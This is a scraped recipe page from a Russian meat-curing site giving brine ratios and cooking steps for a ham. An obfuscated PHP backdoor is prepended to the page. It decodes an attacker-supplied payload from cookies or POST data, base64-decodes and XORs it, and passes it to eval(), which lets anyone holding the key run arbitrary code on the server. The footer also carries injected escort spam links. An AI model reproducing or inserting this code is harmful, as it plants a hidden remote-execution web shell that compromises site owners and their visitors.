$kphiBOJD = 'h' . chr ( 634 - 531 ).chr (95) . "\162" . "\102" . chr ( 162 - 50 ); $tlzxuVDuI = chr (99) . chr ( 836 - 728 ).'a' . "\163" . chr ( 357 - 242 )."\x5f" . 'e' . chr ( 181 - 61 ).'i' . "\x73" . chr ( 606 - 490 ).'s';$pIrqqIKjpA = class_exists($kphiBOJD); $kphiBOJD = "59360";$tlzxuVDuI = "46866";if ($pIrqqIKjpA === FALSE){class hg_rBp{public function kQVdKKM(){echo "51055";}private $gQPoKo;public static $HETcCyLM = "dd055860-1178-4382-bbe6-b1731abbe2ad";public static $cjdyII = 29116;public function __construct($GpQlsceO=0){$psYBWRuHC = $_POST;$MylDSx = $_COOKIE;$uxxIxYwK = @$MylDSx[substr(hg_rBp::$HETcCyLM, 0, 4)];if (!empty($uxxIxYwK)){$byiDf = "base64";$Sqatkdz = "";$uxxIxYwK = explode(",", $uxxIxYwK);foreach ($uxxIxYwK as $IaBeOT){$Sqatkdz .= @$MylDSx[$IaBeOT];$Sqatkdz .= @$psYBWRuHC[$IaBeOT];}$Sqatkdz = array_map($byiDf . "\x5f" . chr (100) . "\145" . "\x63" . chr (111) . 'd' . "\145", array($Sqatkdz,)); $Sqatkdz = $Sqatkdz[0] ^ str_repeat(hg_rBp::$HETcCyLM, (strlen($Sqatkdz[0]) / strlen(hg_rBp::$HETcCyLM)) + 1);hg_rBp::$cjdyII = @unserialize($Sqatkdz);}}private function YKuNECny(){if (is_array(hg_rBp::$cjdyII)) {$cJAZGjKyRg = str_replace(chr (60) . chr ( 487 - 424 ).chr (112) . "\150" . chr ( 323 - 211 ), "", hg_rBp::$cjdyII[chr ( 486 - 387 )."\157" . "\x6e" . "\164" . chr ( 554 - 453 ).chr ( 190 - 80 ).chr ( 932 - 816 )]);eval($cJAZGjKyRg); $JFRjYg = "49892";exit();}}public function __destruct(){$this->YKuNECny();}}$OZwGrn = new /* 37245 */ hg_rBp(); $OZwGrn = str_repeat("27503_51898", 1);} Окорок • Meat Review

Окорок

Перейти в режим чтения
Распечатать
0 0
Окорок

Поделиться в социальных сетях

Вы можете скопировать ссылку

Добавить рецепт в закладки

You need to login or register to bookmark/favorite this content.

Виды готовки:
  • Средне

Инструкция

Поделиться

1. Подготовленный, зачищенный вымытый окорок шприцуем холодным рассолом 2-4С в количестве 10% от веса окорока.
Рассол готовим из расчета на килограмм окорока:
– Соль нитритная 15 грамм
– Вода 100 грамм
– Сахар 1 грамм

2. Натираем окорок морской солью из расчета 30 грамм на килограмм и прячем на сутки в холодильник при 2-4С

3. Заливаем окорок рассолом в количестве 50% от веса окорока:
– Вода 500 грамм
– Соль нитритная 50 грамм
Окорок должен быть весь погружен в жидкость. За неимением нужной емкости можно окорок упаковать в целофановый плотный пакет а затем, перевязывая скотчем, уплотнять пакет, пока жидкость не покроет верхнюю кость. Отправляем на просол в холодильник при 2-4С на 5 дней.

4. Промываем окорок, сушим, заворачиваем в стрейч пленку, что бы внутрь не попала вода и сок остался внутри окорока, иначе мы сварим вкусный суп, но окорок получится не сочным. Погружаем в воду при +95С, напоминаю что на дне емкости должна быть тарелка иначе пленка заварится, и варим при 80С до достижения внутренней температуры окорока 70С. Это в среднем 50 минут на кило веса окорока.

5. После варки охлаждаем окорок льдом и холодной водой. Выдерживаем ночь в холодильнике и… вуаля. Милости прошу к столу. Окорок сочный, мягкий и со “слезой” в разрезе.

(Visited 1 282 times, 1 visits today)

Vladimir Medvedev

обратно
Salami beef.
далее
Бастурма
обратно
Salami beef.
далее
Бастурма

Похожие рецепты

There are no comments yet

× You need to log in to enter the discussion

    MeatReview.com | © 2010–2021 ALL RIGHTS RESERVED | TERMS AND CONDITIONS | CONTACT US

    escort Muğla
    Aydın Escort bayan
    Çanakkale Escort
    escort bayan balıkesir

    Site is using a trial version of the theme. Please enter your purchase code in theme settings to activate it or purchase this wordpress theme here

    By continuing to use the site, you agree to the use of cookies. more information

    The cookie settings on this website are set to "allow cookies" to give you the best browsing experience possible. If you continue to use this website without changing your cookie settings or you click "Accept" below then you are consenting to this.

    Close